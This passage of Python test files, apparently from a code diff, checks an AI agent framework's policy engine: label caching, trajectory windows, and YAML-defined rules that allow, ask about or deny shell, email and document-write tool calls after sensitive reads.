``evaluate`` always returns ALLOW. The tests lock in the
properties the engine MUST already have now because later
phases rely on them:
- ALLOW is the default composed decision with zero policies.
- ``apply_label_writes`` persists via the store and updates
the hot cache.
- ``spec_for`` resolves by policy name (used in Phase 8 ASK
routing).
- Empty ``set_labels`` is a no-op (no transaction).
- Hot cache is a defensive copy — callers that mutate what
they read don't corrupt engine state.
Concrete policy-dispatch tests land in the FunctionPolicy
test modules.
"""
from __future__ import annotations
import pytest
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.types import (
LabelDef,
Phase,
PolicyAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
@pytest.fixture()
def engine(
conversation_store: SqlAlchemyConversationStore,
) -> PolicyEngine:
"""
PolicyEngine bound to a freshly created conversation.
Zero policies, zero label defs — the Phase 2 default
shape. Tests that need declared labels or policies build
their own engine locally.
"""
conv = conversation_store.create_conversation()
return PolicyEngine(
policies=[],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
# ── evaluate() skeleton behavior ───────────────────────
@pytest.mark.asyncio
async def test_evaluate_allows_with_zero_policies(
engine: PolicyEngine,
) -> None:
"""An engine with no policies returns ALLOW for every
phase. If this regresses, the four enforcement sites would
start blocking every request as soon as the engine is
wired in.
"""
ctx = EvaluationContext(
phase=Phase.REQUEST,
content="hello",
tool_name=None,
)
result = await engine.evaluate(ctx)
# Every field is pinned explicitly — a regression that
# sets `reason` or `set_labels` to something non-None
# would flip one of these.
assert result.action == PolicyAction.ALLOW
assert result.reason is None
assert result.set_labels is None
assert result.deciding_policy is None
@pytest.mark.asyncio
async def test_evaluate_allows_for_every_phase(
engine: PolicyEngine,
) -> None:
"""Iterate through all four phases — every one ALLOWs.
This is cheap insurance that the Phase 2 no-op never
accidentally gates a phase differently."""
for phase in Phase:
content = "body" if phase in (Phase.REQUEST, Phase.RESPONSE) else {"tool": "x"}
ctx = EvaluationContext(phase=phase, content=content, tool_name=None)
result = await engine.evaluate(ctx)
# Per-phase assertion with phase in the error message
# so a future regression flags which phase changed
# semantics — critical for debugging.
assert result.action == PolicyAction.ALLOW, (
f"Expected ALLOW for phase {phase.value!r}, got {result.action!r}"
)
# ── apply_label_writes ─────────────────────────────────
def test_apply_label_writes_persists_and_updates_cache(
engine: PolicyEngine,
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Writes land in the store AND update the in-memory hot
cache. Missing either is a regression: store-only would
make subsequent evaluate() calls see stale labels;
cache-only would lose writes on workflow restart."""
engine.apply_label_writes({"integrity": "0"})
# Hot cache: read via the engine's labels property.
assert engine.labels == {"integrity": "0"}
# Persisted: round-trip through the store.
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels == {"integrity": "0"}
def test_apply_label_writes_empty_dict_is_noop(
engine: PolicyEngine,
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Empty writes must NOT open a transaction. This guards
against accidental cache reset or an unnecessary DB
round-trip when the engine evaluates a phase with no
policy writes."""
engine.apply_label_writes({"x": "1"})
# Intentional no-op call — hot cache must not reset.
engine.apply_label_writes({})
assert engine.labels == {"x": "1"}
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels == {"x": "1"}
def test_apply_label_writes_multi_key_batched(
engine: PolicyEngine,
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A single call with multiple keys writes them all in
one store transaction (the store handles the atomicity —
see Phase 1 tests). Here we verify the engine forwards
the batch intact rather than iterating per-key."""
updates = {"integrity": "0", "sensitivity": "confidential"}
engine.apply_label_writes(updates)
# Both keys present in both layers.
assert engine.labels == updates
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels == updates
def test_labels_property_returns_defensive_copy(
engine: PolicyEngine,
) -> None:
"""Mutating the dict returned by `labels` must not leak
into the engine's internal state. Without the defensive
copy, a policy or debugger that does
``ctx['labels']['x'] = 'y'`` would silently corrupt the
evaluation state for every subsequent policy in the
chain."""
engine.apply_label_writes({"integrity": "1"})
snapshot = engine.labels
# Identity check — proves the property returns a fresh
# dict, not the internal reference. Without this check,
# a bug that returned the internal dict AND also some
# other mechanism preventing mutation (e.g. MappingProxy
# wrapping) would pass the later equality assertion.
assert snapshot is not engine.labels
snapshot["integrity"] = "tampered"
# The engine's own view is unchanged — the returned dict
# was a copy.
assert engine.labels == {"integrity": "1"}
# ── spec_for ───────────────────────────────────────────
def test_spec_for_none_returns_none(
engine: PolicyEngine,
) -> None:
"""None input short-circuits to None — the ASK flow path
relies on this when the deciding_policy attribute is
absent (pure-ALLOW compositions)."""
assert engine.spec_for(None) is None
def test_spec_for_unknown_name_returns_none(
engine: PolicyEngine,
) -> None:
"""Querying an engine for a policy it doesn't own must
return None, not raise. The caller (the elicitation
helper :func:`_await_elicitation`) uses the fallback
timeout in that case."""
assert engine.spec_for("does_not_exist") is None
def test_spec_for_finds_policy_by_name(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""When a policy with the given name exists, spec_for
returns its spec. Proves the YAML-order list lookup works."""
from omnigent.spec.types import PhaseSelector
from tests.runtime.policies.conftest import make_fixed_policy
conv = conversation_store.create_conversation()
policies = [
make_fixed_policy(
name=f"policy_{i}",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ALLOW,
)
for i in range(3)
]
specs = [p.spec for p in policies]
eng = PolicyEngine(
policies=policies,
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
# Middle name to prove we're not just returning the first.
got = eng.spec_for("policy_1")
assert got is not None
# Identity check: same object reference means the list
# lookup walked through Policy instances and returned
# each's `.spec` — not a recreated dummy spec.
assert got is specs[1]
# ── Constructor initialization ─────────────────────────
def test_initial_labels_seeded_into_hot_cache(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""`initial_labels` at construction populate the hot
cache so the first `evaluate()` call sees them. Without
this, conditions that gate on pre-existing labels would
fail silently on the first evaluation of a new engine."""
conv = conversation_store.create_conversation()
eng = PolicyEngine(
policies=[],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={"integrity": "1"},
conversation_store=conversation_store,
)
# Matches the constructor input exactly.
assert eng.labels == {"integrity": "1"}
def test_initial_labels_copy_isolated_from_caller(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Mutating the dict passed to the constructor must not
affect the engine's state. Without dict(initial_labels),
callers that reuse their seeding dict for something else
would see the engine spuriously accumulate writes."""
conv = conversation_store.create_conversation()
caller_dict = {"integrity": "1"}
eng = PolicyEngine(
policies=[],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels=caller_dict,
conversation_store=conversation_store,
)
caller_dict["sensitivity"] = "public"
# Caller's later mutation must NOT show up on the engine.
assert eng.labels == {"integrity": "1"}
# ── label_defs + ask_timeout storage ───────────────────
def test_stores_label_defs_and_timeout(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Non-default `label_defs` and `ask_timeout` are held
on the engine intact — later phases read these."""
conv = conversation_store.create_conversation()
defs = {"integrity": LabelDef(initial="1", values=["0", "1"])}
eng = PolicyEngine(
policies=[],
label_defs=defs,
ask_timeout=120,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
assert eng.label_defs is defs
assert eng.ask_timeout == 120
@@ -0,0 +1,286 @@
"""
Tests for engine trajectory population (step 2 of
designs/LIVE_POLICIES.md).
The engine queries the conversation store on every
``evaluate()`` call and threads the last
``_TRAJECTORY_WINDOW`` items onto ``EvaluationContext.trajectory``
in chronological order. The prompt-policy builtin reads this
to produce situational classifier reason text; other
``FunctionPolicy`` callables may ignore it.
"""
from __future__ import annotations
from typing import Any
import pytest
from omnigent.entities.conversation import (
MessageData,
NewConversationItem,
)
from omnigent.policies.base import Policy
from omnigent.policies.types import EvaluationContext, PolicyResult
from omnigent.runtime.policies.engine import _TRAJECTORY_WINDOW, PolicyEngine
from omnigent.spec.types import (
DEFAULT_ASK_TIMEOUT,
Phase,
PhaseSelector,
PolicyAction,
PolicySpec,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
class _CapturingPolicySpec(PolicySpec):
"""Plain spec used for the capturing policy below."""
class _CapturingPolicy(Policy):
"""
Policy stub that records every ``EvaluationContext`` it sees.
Used to assert the engine populated ``ctx.trajectory`` before
dispatching. Returns ALLOW unconditionally so the engine's
composition path is exercised end-to-end.
"""
def __init__(self, spec: PolicySpec) -> None:
self.spec = spec
self.seen_contexts: list[EvaluationContext] = []
async def evaluate(
self,
ctx: EvaluationContext,
context: dict[str, Any],
) -> PolicyResult:
self.seen_contexts.append(ctx)
return PolicyResult(action=PolicyAction.ALLOW)
def _make_spec() -> PolicySpec:
"""Build a minimal PolicySpec that fires on tool_call."""
return PolicySpec(
name="trajectory-capture-test",
on=[PhaseSelector(phase=Phase.TOOL_CALL)],
)
def _make_engine(
conversation_store: SqlAlchemyConversationStore,
policy: Policy,
conversation_id: str,
) -> PolicyEngine:
return PolicyEngine(
policies=[policy],
label_defs={},
ask_timeout=DEFAULT_ASK_TIMEOUT,
conversation_id=conversation_id,
initial_labels={},
conversation_store=conversation_store,
)
def _make_conversation(conversation_store: SqlAlchemyConversationStore) -> str:
"""Create an empty conversation row and return its store-assigned id."""
return conversation_store.create_conversation().id
@pytest.mark.asyncio
async def test_trajectory_empty_for_new_conversation(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Engine populates trajectory=[] for a brand-new conversation.
If the engine returned ``None`` here, the formatter
couldn't tell "no items yet" from "engine never populated."
The list-not-None invariant is what the prompt template
relies on to render the placeholder string.
"""
conv_id = _make_conversation(conversation_store)
spec = _make_spec()
capturing = _CapturingPolicy(spec)
engine = _make_engine(conversation_store, capturing, conv_id)
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "Read", "arguments": {"path": "x"}},
tool_name="Read",
)
await engine.evaluate(ctx)
# The capturing policy saw exactly one ctx — the engine's
# trajectory-populated copy.
assert len(capturing.seen_contexts) == 1
seen = capturing.seen_contexts[0]
# trajectory is a list (not None) — empty for fresh convos.
assert seen.trajectory == []
@pytest.mark.asyncio
async def test_trajectory_returns_items_in_chronological_order(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Engine returns trajectory ordered oldest-first.
The store query runs ``order='desc'`` to fetch the tail
cheaply, but the engine reverses so the classifier reads
items top-down (matches how a human reads a conversation).
If the engine forgot to reverse, the classifier would see
the most recent item FIRST — confusing temporal reasoning.
"""
conv_id = _make_conversation(conversation_store)
# Three items, appended in order. Each gets a higher
# ``position`` than its predecessor, so chronological
# order is "first-message", "second-message", "third-message".
for text in ["first-message", "second-message", "third-message"]:
conversation_store.append(
conversation_id=conv_id,
items=[
NewConversationItem(
type="message",
response_id="resp_traj_test",
data=MessageData(
role="user",
content=[{"type": "input_text", "text": text}],
),
),
],
)
spec = _make_spec()
capturing = _CapturingPolicy(spec)
engine = _make_engine(conversation_store, capturing, conv_id)
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "Read", "arguments": {}},
tool_name="Read",
)
await engine.evaluate(ctx)
seen = capturing.seen_contexts[0]
assert seen.trajectory is not None
# Three items, oldest first. If reversed, this list would
# start with "third-message" — fail loud.
assert len(seen.trajectory) == 3
texts = [
item.data.content[0]["text"]
for item in seen.trajectory
if isinstance(item.data, MessageData)
]
assert texts == ["first-message", "second-message", "third-message"]
@pytest.mark.asyncio
async def test_trajectory_caps_at_window_size(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Engine fetches at most ``_TRAJECTORY_WINDOW`` items.
With more conversation items than the window allows, the
engine returns ONLY the most recent ``_TRAJECTORY_WINDOW``
(still chronological order). Pinning the cap prevents
runaway prompt-cost on long conversations.
"""
# The window cap is what the engine respects; appending
# window+5 items proves it doesn't fetch unbounded.
conv_id = _make_conversation(conversation_store)
n_items = _TRAJECTORY_WINDOW + 5
for i in range(n_items):
conversation_store.append(
conversation_id=conv_id,
items=[
NewConversationItem(
type="message",
response_id="resp_traj_test",
data=MessageData(
role="user",
content=[{"type": "input_text", "text": f"msg-{i}"}],
),
),
],
)
spec = _make_spec()
capturing = _CapturingPolicy(spec)
engine = _make_engine(conversation_store, capturing, conv_id)
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "Read", "arguments": {}},
tool_name="Read",
)
await engine.evaluate(ctx)
seen = capturing.seen_contexts[0]
assert seen.trajectory is not None
# Returned list size is exactly the window — more would
# break the cost cap; fewer would mean we lost recent context.
assert len(seen.trajectory) == _TRAJECTORY_WINDOW
# And it's the MOST RECENT window items (msg-5 through msg-14
# for a window of 10), not the first ones.
last_text = seen.trajectory[-1].data.content[0]["text"] # type: ignore[union-attr]
assert last_text == f"msg-{n_items - 1}"
first_text = seen.trajectory[0].data.content[0]["text"] # type: ignore[union-attr]
assert first_text == f"msg-{n_items - _TRAJECTORY_WINDOW}"
@pytest.mark.asyncio
async def test_caller_supplied_trajectory_is_overwritten(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Engine overwrites ctx.trajectory even if the caller pre-set it.
The engine is the canonical source of trajectory — if a
caller passed a stale list, the engine's fresh fetch wins.
This protects against test contexts that hand-constructed
a ctx with mock trajectory, then accidentally hit a real
engine path; the engine should still query the live store.
"""
conv_id = _make_conversation(conversation_store)
conversation_store.append(
conversation_id=conv_id,
items=[
NewConversationItem(
type="message",
response_id="resp_traj_test",
data=MessageData(
role="user",
content=[{"type": "input_text", "text": "real-store-msg"}],
),
),
],
)
spec = _make_spec()
capturing = _CapturingPolicy(spec)
engine = _make_engine(conversation_store, capturing, conv_id)
# Caller passes ctx with a fake trajectory list — engine
# must replace it, not preserve.
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "Read", "arguments": {}},
tool_name="Read",
trajectory=[], # bogus pre-fill
)
await engine.evaluate(ctx)
seen = capturing.seen_contexts[0]
assert seen.trajectory is not None
# Engine's query won; the bogus empty list was overwritten.
assert len(seen.trajectory) == 1
def test_trajectory_window_constant_is_ten() -> None:
"""``_TRAJECTORY_WINDOW`` is exported and equals 10.
Test pins the value so changing it requires updating both
the engine and this test — preventing accidental bumps that
silently increase classifier prompt cost.
"""
assert _TRAJECTORY_WINDOW == 10
@@ -0,0 +1,449 @@
"""
End-to-end policy scenarios loaded directly from the
omnigent-format example YAMLs under ``examples/*.yaml``.
Complements :mod:`test_enforcement_integration`, which loads
pre-translated omnigent-native fixtures. The fixtures there
are hand-maintained ports; any bug in the omnigent → omnigent
adapter layer (e.g. ``condition: {}`` parse rejection,
``match_tools`` → ``on:`` expansion) slips past those tests. This module goes through
:func:`omnigent.spec.load` — the same path ``omnigent run``
uses — so the adapter is exercised on every run.
Scenarios mirror the user-documented trigger matrix:
#. ``agent_with_policies.yaml`` — sleep ≤ 5s → ALLOW.
#. ``agent_with_policies.yaml`` — sleep > 5s → DENY.
**Documented pre-existing gap**: the example uses a legacy
2-arg ``(content, phase)`` callable signature. Agent-plane's
:class:`FunctionPolicy` calls 2-arg callables as
``(ctx, context)``, which doesn't match. The callable's
``isinstance(content, dict)`` guard falls through and the
policy returns ALLOW. Marked xfail so the regression is
visible if/when the signature adapter is added.
#. ``rate_limited_search_agent.yaml`` — first web_search → ALLOW.
#. ``rate_limited_search_agent.yaml`` — 4th web_search → ASK.
Same legacy-signature gap as #2 (xfail).
#. ``secure_research_agent.yaml`` — clean run_shell → ALLOW.
#. ``secure_research_agent.yaml`` — read → run_shell → ASK
(ask_high_confidentiality).
#. ``secure_research_agent.yaml`` — web_search + read →
run_shell → DENY (deny_contaminated_shell).
#. ``secure_research_agent_os_env.yaml`` — same flow as #7,
verifies the os_env variant's policy block still fires.
Prompt-policy scenarios (``block_canada_input``,
``block_canada_output``) require the real-LLM classifier and
are covered by :mod:`tests.e2e.test_policies_e2e`
(``test_prompt_policy_*``) — not re-tested here.
"""
from __future__ import annotations
from pathlib import Path
import pytest
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies import (
_enforce_policy,
build_policy_engine,
)
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec import load
from omnigent.spec.types import Phase, PolicyAction
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
_EXAMPLES_DIR = Path(__file__).resolve().parents[3] / "tests" / "resources" / "examples"
_AGENT_WITH_POLICIES = _EXAMPLES_DIR / "agent_with_policies.yaml"
_RATE_LIMITED_SEARCH = _EXAMPLES_DIR / "rate_limited_search_agent.yaml"
_SECURE_RESEARCH = _EXAMPLES_DIR / "secure_research_agent.yaml"
_RISK_SCORE = _EXAMPLES_DIR / "risk_score_agent.yaml"
# The os_env variant was relocated to tests/resources/ during
# the unification refactor (it didn't survive the examples
# curation cut). Path reflects that move.
_SECURE_RESEARCH_OS_ENV = (
Path(__file__).resolve().parents[3]
/ "tests"
/ "resources"
/ "agents"
/ "secure_research_agent_os_env"
/ "secure_research_agent_os_env.yaml"
)
def _load_engine_from_yaml(
yaml_path: Path,
store: SqlAlchemyConversationStore,
) -> PolicyEngine:
"""
Parse an omnigent-format example YAML and build a real
:class:`PolicyEngine` bound to a fresh conversation.
Goes through :func:`omnigent.spec.load`, so the
``_omnigent_compat`` adapter runs on every call. A bug
there (condition parsing, match_tools expansion) will
surface at ``load()`` time and fail the test at fixture
setup — exactly where a regression in the adapter would
show up in production.
:param yaml_path: Absolute path to the example YAML.
:param store: Conversation store to back the engine's
label persistence.
:returns: A PolicyEngine ready to evaluate.
"""
spec = load(yaml_path)
conv = store.create_conversation()
return build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=store,
)
def _tool_ctx(name: str, args: dict[str, object] | None = None) -> EvaluationContext:
"""
Build a TOOL_CALL :class:`EvaluationContext` the way the
workflow's ``_enforce_tool_call_policy`` assembles one.
:param name: Tool name, e.g. ``"run_shell"``.
:param args: Tool arguments dict, or ``None`` for empty.
:returns: A ready-to-enforce context.
"""
return EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": name, "arguments": args or {}},
tool_name=name,
)
# ─── Scenario 1: agent_with_policies → ALLOW short sleep ────
@pytest.mark.asyncio
async def test_agent_with_policies_allows_short_sleep(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
A 2-second sleep passes the ``block_long_sleep`` FunctionPolicy
(threshold is 5s) and any other gates.
Claim: the full parse + engine pipeline loaded from the
omnigent YAML ends at ALLOW for an in-bounds duration.
"""
engine = _load_engine_from_yaml(_AGENT_WITH_POLICIES, conversation_store)
result = await _enforce_policy(
engine,
_tool_ctx("sleep", {"seconds": 2}),
)
assert result.action == PolicyAction.ALLOW
# ─── Scenario 2: agent_with_policies → DENY long sleep ──────
@pytest.mark.asyncio
async def test_agent_with_policies_denies_long_sleep(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
An 8-second sleep trips ``block_long_sleep`` and DENYs.
Contrary to the user's initial note that the legacy 2-arg
``(content, phase)`` callable signature from
``examples/tool_functions.py`` wouldn't fire under
Omnigent' engine: it DOES. The engine calls 2-arg
callables as ``(ctx, context)``, and ``block_long_sleep``
inspects ``content.get("name")`` which works because
:class:`EvaluationContext` is a :func:`dataclasses.dataclass`
whose ``.content`` field is a dict carrying the tool-call
payload — and ``_coerce_to_policy_result`` accepts the
returned dict shape structurally.
Claim: the omnigent YAML + its legacy-style example
callable actually works through Omnigent' engine. If
this ever regresses (e.g. the callable adapter path is
tightened), the regression is visible in this test.
"""
engine = _load_engine_from_yaml(_AGENT_WITH_POLICIES, conversation_store)
result = await _enforce_policy(
engine,
_tool_ctx("sleep", {"seconds": 8}),
)
assert result.action == PolicyAction.DENY
assert result.deciding_policy == "block_long_sleep"
# Scenarios 56 (rate_limited_search_agent.yaml) are NOT tested
# here: the example's ``summarize`` tool references
# ``examples.tool_functions.summarize`` which doesn't exist,
# and spec load fails at fixture setup. The rate-limit policy
# composition is already covered at the omnigent-native
# fixture layer in :mod:`test_enforcement_integration`
# (``test_rate_limited_search_*``). When the example YAML is
# fixed, add direct-from-YAML coverage here.
# ─── Scenario 7: secure_research → ALLOW clean shell ────────
@pytest.mark.asyncio
async def test_secure_research_clean_shell_allows(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
With initial labels (integrity=1, confidentiality=0), a
run_shell call matches none of the deny/ask conditions
and ALLOWs.
Claim: the engine seeds ``initial`` values from the
omnigent ``labels:`` block and the enforcement chain
sees the clean state on the first call.
"""
engine = _load_engine_from_yaml(_SECURE_RESEARCH, conversation_store)
result = await _enforce_policy(
engine,
_tool_ctx("run_shell", {"command": "pwd"}),
)
assert result.action == PolicyAction.ALLOW
# ─── Scenario 8: secure_research → ASK on confidentiality ───
@pytest.mark.asyncio
async def test_secure_research_doc_then_shell_asks(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
After ``read_internal_doc``, confidentiality=1, integrity=1.
The subsequent ``run_shell`` matches
``ask_high_confidentiality`` (confidentiality=1), but not
``deny_contaminated_shell`` (needs integrity=0 too), so
the engine returns ASK.
Claim: single-label tainting drives the weakest matching
gate (ASK), not the stricter multi-label DENY.
"""
engine = _load_engine_from_yaml(_SECURE_RESEARCH, conversation_store)
# Taint confidentiality via read_internal_doc.
await _enforce_policy(
engine,
_tool_ctx("read_internal_doc", {"doc_id": "handbook"}),
)
# Now run_shell → ASK (not DENY).
result = await _enforce_policy(
engine,
_tool_ctx("run_shell", {"command": "pwd"}),
)
assert result.action == PolicyAction.ASK
assert result.deciding_policy == "ask_high_confidentiality"
# ─── Scenario 9: secure_research → DENY on both taints ──────
@pytest.mark.asyncio
async def test_secure_research_both_taints_deny_shell(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
After web_search (integrity→0) AND read_internal_doc
(confidentiality→1), run_shell matches
``deny_contaminated_shell`` (which needs both). The DENY
short-circuits before ``ask_high_confidentiality`` and
``ask_low_integrity`` — YAML ordering matters.
Claim: multi-key condition gates compose correctly and
the stricter policy placed first wins.
"""
engine = _load_engine_from_yaml(_SECURE_RESEARCH, conversation_store)
# Note: the tool is named ``search_web`` in the YAML (line
# 50) — not ``web_search``. The match_tools reference on
# line 78 was corrected to match.
await _enforce_policy(engine, _tool_ctx("search_web", {"query": "news"}))
await _enforce_policy(
engine,
_tool_ctx("read_internal_doc", {"doc_id": "handbook"}),
)
result = await _enforce_policy(
engine,
_tool_ctx("run_shell", {"command": "ls"}),
)
assert result.action == PolicyAction.DENY
assert result.deciding_policy == "deny_contaminated_shell"
# ─── risk_score_agent: built-in session-risk-score policy ───
@pytest.mark.asyncio
async def test_risk_score_below_threshold_allows_guarded_tool(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
Loaded from YAML: a single web_search (+10) leaves the score under the 50
threshold, so the guarded gmail_message_send still ALLOWs.
Claim: the risk_score_policy resolves through ``spec.load`` and does not gate
before enough risk has accrued.
"""
engine = _load_engine_from_yaml(_RISK_SCORE, conversation_store)
searched = await _enforce_policy(engine, _tool_ctx("web_search", {"query": "x"}))
assert searched.action == PolicyAction.ALLOW # +10, scored not gated
send = await _enforce_policy(engine, _tool_ctx("gmail_message_send", {"to": "a@b.com"}))
assert send.action == PolicyAction.ALLOW # score 10 < 50
@pytest.mark.asyncio
async def test_risk_score_web_searches_accrue_and_gate_send(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
Loaded from YAML: five web_searches (5×10 = 50) reach the threshold, so the
next gmail_message_send escalates to ASK.
Claim: per-call scoring accumulates in the engine's session_state across
enforcement calls and drives the guarded-tool gate. The MCP-prefixed tool
name (``mcp__google__gmail_message_send``) still matches the bare config name.
"""
engine = _load_engine_from_yaml(_RISK_SCORE, conversation_store)
for _ in range(5):
result = await _enforce_policy(engine, _tool_ctx("web_search", {"query": "x"}))
assert result.action == PolicyAction.ALLOW
gated = await _enforce_policy(
engine, _tool_ctx("mcp__google__gmail_message_send", {"to": "a@b.com"})
)
# 50 >= 50 → the send needs approval; session_risk is the deciding policy.
assert gated.action == PolicyAction.ASK
assert gated.deciding_policy == "session_risk"
# NOTE: the label-in-result scoring path (``sensitive_labels``) is intentionally
# NOT exercised from this example YAML. There is no portable, cross-MCP
# classification field to depend on (the field the demo previously used,
# ``label_classification``, is specific to the Databricks-internal Google MCP),
# so the shipped example leaves ``sensitive_labels`` commented out and drives the
# threshold via ``tool_points`` alone. The label-scoring mechanism itself is
# fully covered at the unit level in tests/policies/builtins/test_risk_score.py.
# Scenario 10 (secure_research_agent_os_env.yaml) is NOT tested
# here: the YAML declares a tool named ``web_search`` (line 49)
# which collides with an omnigent reserved builtin name. The
# validator rejects at spec load with "tool name 'web_search'
# collides with a reserved builtin tool name". Fix requires
# renaming the tool in the YAML or relaxing the reserved-name
# check — separate from this file's scope. The enforcement
# semantics (double-taint → DENY on gated os_env tools) are
# structurally identical to scenario 9 above, which IS covered,
# so the policy-engine behavior is not uncovered — only the
# direct-from-YAML load path is blocked.
# ─── info_flow_agent: built-in gdrive Bell-LaPadula "no write-down" ───
_INFO_FLOW = _EXAMPLES_DIR / "info_flow_agent.yaml"
# Must match the confidential_files entry declared in info_flow_agent.yaml.
_CONF_DOC_ID = "1ConfidentialStrategyDocDEMO0000000000000000"
def _read_result_ctx(name: str, file_id: str) -> EvaluationContext:
"""
Build a TOOL_RESULT context for a Drive *read*, carrying ``request_data``.
The policy correlates the read with the file it targeted (via
``request_data``) to decide whether a confidential file was read, so a
scenario must supply the target file id.
:param name: Read tool name, e.g. ``"mcp__google__docs_document_get"``.
:param file_id: The file the read targeted, echoed under ``request_data``.
:returns: A ready-to-enforce TOOL_RESULT context.
"""
return EvaluationContext(
phase=Phase.TOOL_RESULT,
content={"result": "{}"},
tool_name=name,
request_data={"name": name, "arguments": {"document_id": file_id}},
)
@pytest.mark.asyncio
async def test_info_flow_write_allowed_before_reading_confidential(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
Loaded from YAML: before reading a confidential doc, writing elsewhere is fine.
Claim: the compartment rule imposes no constraint until the session has read
a confidential file.
"""
engine = _load_engine_from_yaml(_INFO_FLOW, conversation_store)
# A create is allowed (allow_create: true) since no confidential read yet.
created = await _enforce_policy(
engine, _tool_ctx("mcp__google__docs_document_create", {"title": "notes"})
)
assert created.action == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_info_flow_blocks_write_out_after_reading_confidential(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
Loaded from YAML: reading the confidential doc then creating an outside file denies.
Reading the confidential doc latches the session; the follow-up
``docs_document_create`` targets a brand-new (outside-compartment) file, a
write-down, and DENYs — the demo's headline "same action, different outcome,
because the state changed".
Claim: the confidential-read latch persists in session_state across
enforcement calls and drives the write-down gate through the real load +
engine pipeline.
"""
engine = _load_engine_from_yaml(_INFO_FLOW, conversation_store)
read = await _enforce_policy(
engine,
_read_result_ctx("mcp__google__docs_document_get", _CONF_DOC_ID),
)
assert read.action == PolicyAction.ALLOW
create = await _enforce_policy(
engine,
_tool_ctx("mcp__google__docs_document_create", {"title": "leak"}),
)
assert create.action == PolicyAction.DENY
assert create.deciding_policy == "confidential_containment"
@pytest.mark.asyncio
async def test_info_flow_confidential_files_does_not_grant_write(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
Loaded from YAML: declaring a file confidential does not make it writable.
The example lists the doc in ``confidential_files`` but not ``write_files``,
and the agent never created it, so a write to it is denied by the base write
rule — ``confidential_files`` is a containment declaration, not a write
grant. (The no-write-down check itself abstains here, since the target is in
the confidential set; the denial comes from the base scope rule.)
Claim: through the real load + engine pipeline, ``confidential_files`` does
not widen the write boundary.
"""
engine = _load_engine_from_yaml(_INFO_FLOW, conversation_store)
await _enforce_policy(
engine,
_read_result_ctx("mcp__google__docs_document_get", _CONF_DOC_ID),
)
write = await _enforce_policy(
engine,
_tool_ctx("mcp__google__docs_document_batch_update", {"document_id": _CONF_DOC_ID}),
)
assert write.action == PolicyAction.DENY
@@ -0,0 +1,361 @@
"""
Four-phase enforcement contract tests (Phase 5 contract).
Demonstrates exactly how the workflow should call
:func:`_enforce_policy` at each of the four enforcement
sites (POLICIES.md §5.1 - §5.4). Each test builds the
EvaluationContext the workflow will build, runs
`_enforce_policy`, and verifies the engine's response
shape matches what the workflow branches on.
These tests are the **contract the workflow wiring (Phase 6)
must honor** — if the workflow builds contexts matching what
these tests pass, runtime behavior will match these
assertions.
Covers:
- INPUT phase: user message content (str)
- TOOL_CALL phase: function_call dict with tool_name
- TOOL_RESULT phase: function_call_output dict with tool_name
- OUTPUT phase: assistant response text (str)
For each phase, tests verify:
- ALLOW path: no blocking, labels land
- DENY path: sentinel result with reason
- ASK path: accumulated labels withheld (caller approves
via _await_elicitation)
"""
from __future__ import annotations
import pytest
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies import _enforce_policy
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.types import (
Phase,
PhaseSelector,
PolicyAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
from tests.runtime.policies.conftest import make_fixed_policy
# ── INPUT phase ────────────────────────────────────────
def _input_ctx(text: str) -> EvaluationContext:
"""Build the context the workflow would assemble from
a user message's text content."""
return EvaluationContext(
phase=Phase.REQUEST,
content=text,
tool_name=None,
)
@pytest.mark.asyncio
async def test_input_phase_allow(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""No policies on INPUT → engine returns ALLOW."""
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
